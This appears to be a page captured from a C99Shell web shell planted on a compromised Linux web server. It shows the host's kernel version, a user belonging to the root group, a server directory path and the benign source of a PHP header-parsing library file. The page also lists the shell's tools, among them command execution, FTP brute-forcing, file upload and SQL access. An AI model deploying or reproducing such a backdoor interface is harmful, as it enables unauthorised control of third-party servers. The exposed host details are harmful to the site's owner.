!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/ralouphie/getallheaders/src/   drwxr-xr-x
Free 28.42 GB of 117.98 GB (24.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     getallheaders.php (1.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

if (!function_exists('getallheaders')) {

    
/**
     * Get all HTTP header key/values as an associative array for the current request.
     *
     * @return string[string] The HTTP header key/value pairs.
     */
    
function getallheaders()
    {
        
$headers = array();

        
$copy_server = array(
            
'CONTENT_TYPE'   => 'Content-Type',
            
'CONTENT_LENGTH' => 'Content-Length',
            
'CONTENT_MD5'    => 'Content-Md5',
        );

        foreach (
$_SERVER as $key => $value) {
            if (
substr($key05) === 'HTTP_') {
                
$key substr($key5);
                if (!isset(
$copy_server[$key]) || !isset($_SERVER[$key])) {
                    
$key str_replace(' ''-'ucwords(strtolower(str_replace('_'' '$key))));
                    
$headers[$key] = $value;
                }
            } elseif (isset(
$copy_server[$key])) {
                
$headers[$copy_server[$key]] = $value;
            }
        }

        if (!isset(
$headers['Authorization'])) {
            if (isset(
$_SERVER['REDIRECT_HTTP_AUTHORIZATION'])) {
                
$headers['Authorization'] = $_SERVER['REDIRECT_HTTP_AUTHORIZATION'];
            } elseif (isset(
$_SERVER['PHP_AUTH_USER'])) {
                
$basic_pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';
                
$headers['Authorization'] = 'Basic ' base64_encode($_SERVER['PHP_AUTH_USER'] . ':' $basic_pass);
            } elseif (isset(
$_SERVER['PHP_AUTH_DIGEST'])) {
                
$headers['Authorization'] = $_SERVER['PHP_AUTH_DIGEST'];
            }
        }

        return 
$headers;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--